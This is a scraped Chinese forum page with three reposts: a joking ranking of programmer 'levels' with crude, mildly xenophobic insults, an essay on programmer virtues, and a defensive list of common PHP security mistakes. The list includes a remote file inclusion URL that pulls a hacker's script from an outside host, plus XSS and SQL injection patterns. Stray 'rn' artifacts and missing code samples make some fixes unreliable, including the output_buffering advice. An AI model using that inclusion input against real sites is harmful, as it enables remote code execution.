完美程序员的10种品质

展开阅读全文

程序员10种级别

12-25

程序员的10种级别 rn rn第一级:神人,天资过人而又是技术狂热者同时还拥有过人的商业头脑,高瞻远瞩,技术过人,大器也。如丁磊,求伯君。 rnrn第二级:高人,有天赋,技术过人但没有过人的商业头脑,通常此类人不是顶尖黑客就是技术总监之流。 rnrn第三级:牛人,技术精湛,熟悉行业知识,敢于创新,有自己的公司和软件产品。 rnrn第四级:工头,技术精湛,有领导团队的能力,此类人大公司项目经理居多。 rnrn第五级:技术工人,技术精湛,熟悉行业知识但领导能力欠加,此类人大多为系分人员或资深程序员,基本上桀骜不逊,自视清高,不愿于一般技术人员为伍,在论坛上基本以高手面目出现。 rnrn第六级:熟练工人,技术有广度无深度,喜欢钻研但浅尝辄止。此类人大多为老程序员,其中一部分喜欢利用工具去查找网上有漏洞的服务器,干点坏事以获取成绩感。如果心情好,在论坛上他们会回答菜鸟的大部分问题。此级别为软件业苦力的重要组成部分。 rnrn第七级:工人,某些技术较熟练但缺乏深度和广度,此类人大多为程序员级别,经常在论坛上提问偶尔也回答菜鸟的问题。为软件产业苦力的主要组成部分。 rnrn第八级:菜鸟,入门时间不长,在论坛上会反复提问很初级的问题,有一种唐僧的精神。虽然招人烦但基本很可爱。只要认真钻研,一两年后就能升级到上一层。 rnrn第九级:大忽悠,利用中国教育的弊病,顶着一顶高学历的帽子,在小公司里混个软件部经理,设计不行,代码不行,只会胡乱支配下属,拍领导马屁,在领导面前胡吹海侃,把自己打扮成技术高手的模样。把勾心斗角的办公室文化引入技术部门,实在龌龊! rnrn第十级:驴或傻X,会写SELECT语句就说自己精通ORALCE,连寄存器有几种都不知道就说自己懂汇编,建议全部送到日本当IT产业工人,挣了日本人的钱还严重打击日本的软件业! rnrn其中又以前两级和后两级最为难得,其余级别只要努力,皆有可能达到。 rnrnrn转http://www.javaresearch.org/faq/thread.jsp?thread=46872 论坛

程序员品质要求

11-17

[size=16px][/size][size=16px]一忌:轻易言败,没有自信rn 没有永不放弃精神的程序员,只是一个有程序员名号的假程序员。一个真正的程序员,知道在程序设计的过程中,可能会遇到不计其数的rnrn困难和问题,可能有极多的挫折和失败,而成功只有一次。 rn就为解决一个问题[b][/b][align=center][/align],我们可能连续十几甚至几十小时的坐在计算器前不停的工作。一个问题解决了,可能又有其它的问题出现。而你要是不能坚持rnrn下来,可能从前的一切努力都流失了。rn轻易言败的人请不要做程序员,你不可能成功。执着是最可贵的。 rn执着的程序员都是相信自己的人,每时每刻都会鼓励自己,你做得出来,你能解决,你会成功。这样他才能坚持下去。 rnrnrn二忌:浮华不实,自满自大rn 夸夸奇谈的人不是优秀的程序员。整个程序设计的过程就是一个研究学习,应用,再研究学习,再应用的过程。一名优秀的程序员决不会rnrn认为自己足够好了,不需要再提高了。自满自足的人不会是好程序员,会很快落后以致落伍。所以越是优秀的程序员越是感觉自己懂得少,不会在rnrn人前故意卖弄,这并不是故作谦虚,而是实实在在的感受,亲自体会才能明白。 rn浮华的程序员会不懂装懂,不停的强调语言的优劣,平台的好坏。追求所谓最新最时尚的技术,停留在表面问题上。或假做深沉,用不适合的方式rnrn做不适合的事情。就像孔已己一样,以为知道"茴"字有四种写法就是学问。最后是简单的作不好,困难的也作不好.rn[size=16px][/size][size=18px][/size]rnrn三忌:死气沉沉,不求甚解rn 优秀的程序员是充满激情和活力的程序员。求知欲和创造欲是原动力。有求知欲你才能不停的学习,有创造欲你才能不停的超越自己。死rnrn气沉沉的程序员已经对程序设计失去了兴趣,很快就会主动或被迫离开。 rn创造不是指你要发明什么别人不知道的技术或方法,而是说rnrn你不但仅仅知道怎么做,还要知道""为什么""这样做。rn之后你才能创造,其实程序设计的整个过程就是创造的过程。 rnrnrn四忌:强调客观,忽略自身rn 很多程序员都是在失败的时候强调客观因素,而优秀的程序员都是先反省自己。要明白自己缺陷,再努力去学习。没有人事事都做的成功rnrn,也没有人生来就什么会做。所以失败了,多想想自身的原因,这样你才会不停的进步,而不是留在原地抱怨。[/size]rn 论坛

PHP程序员最易犯10种错误

11-23

PHP是个伟大的web开发语言,灵活的语言,但是看到php程序员周而复始的犯的一些错误。我做了下面这个列表,列出了PHP程序员经常犯的10中错误,大多数和安全相关。看看你犯了几种rn1.不转意html entitiesrn 一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。rnecho $_GET['usename'] ;rn这个例子有可能输出:rn rn这是一个明显的安全隐患,除非你保证你的用户都正确的输入。rn如何修复 :rn我们需要将"< ",">","and" 等转换成正确的HTML表示(< , >', and "),函数htmlspecialchars 和 htmlentities()正是干这个活的。rn正确的方法:rnecho htmlspecialchars($_GET['username'], ENT_QUOTES);rn2. 不转意SQL输入rn我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法。有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的!rn如何修复:rn和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数rn正确做法:rnrn3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()rn遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]rnrn每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。rn头部包含了一些非可视的数据,例如cookie。头部总是先到达。正文部分包括可视的html,图片等数据。rn如果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,output_buffering的设置可能不一样。结果转向停止了,cookie和session都没有正确的设置........。rnrn如何修复:rn确保在输出之前调用http-header相关的函数,并且令output_buffering = Offrn。rn4. Require 或 include 的文件使用不安全的数据rn再次强调:不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。rn例如:rnindex.phprnrn现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txtrn来获取你的机密信息,或执行一个PHP脚本。rn如果allow_url_fopen=On,你更是死定了:rn试试这个输入:rnhttp://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.phprn现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。rn如何修复:rn你必须自己控制哪些文件可以包含在的include或require指令中。rn下面是一个快速但不全面的解决方法:rnrn5. 语法错误rn语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出。解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号。还有就是换个好的编辑器,就不要用记事本了!rn6.很少使用或不用面向对象rn很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力。PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象。rn7. 不使用frameworkrn95% 的PHP项目都在做同样的四件事: Create, edit, list 和delete. 现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?rn8. 不知道PHP中已经有的功能rnPHP 的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现!PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd()rn9.使用旧版本的PHPrn很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.nexen.net的调查只有12%的PHP服务器使用PHP5,所以有88%的PHP开发者还在使用PHP4.rn10.对引号做两次转意rn见过网页中出现\'或\'"吗?这通常是因为在开发者的环境中magic_quotes 设置为off,而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。rn原始文本:rnIt's a stringrnrnmagic quotes on :rnIt\'s a stringrn又运行一次rnaddslashes():rnIt\\'s a stringrnrnHTML输出:rnIt\'s a stringrnrn还有一种情况就是,用户一开始输入了错误的登录信息,服务器检测到错误输入后,输出同样的form要求用户再次输入,导致用户的输入转意两次! 论坛

没有更多推荐了,返回首页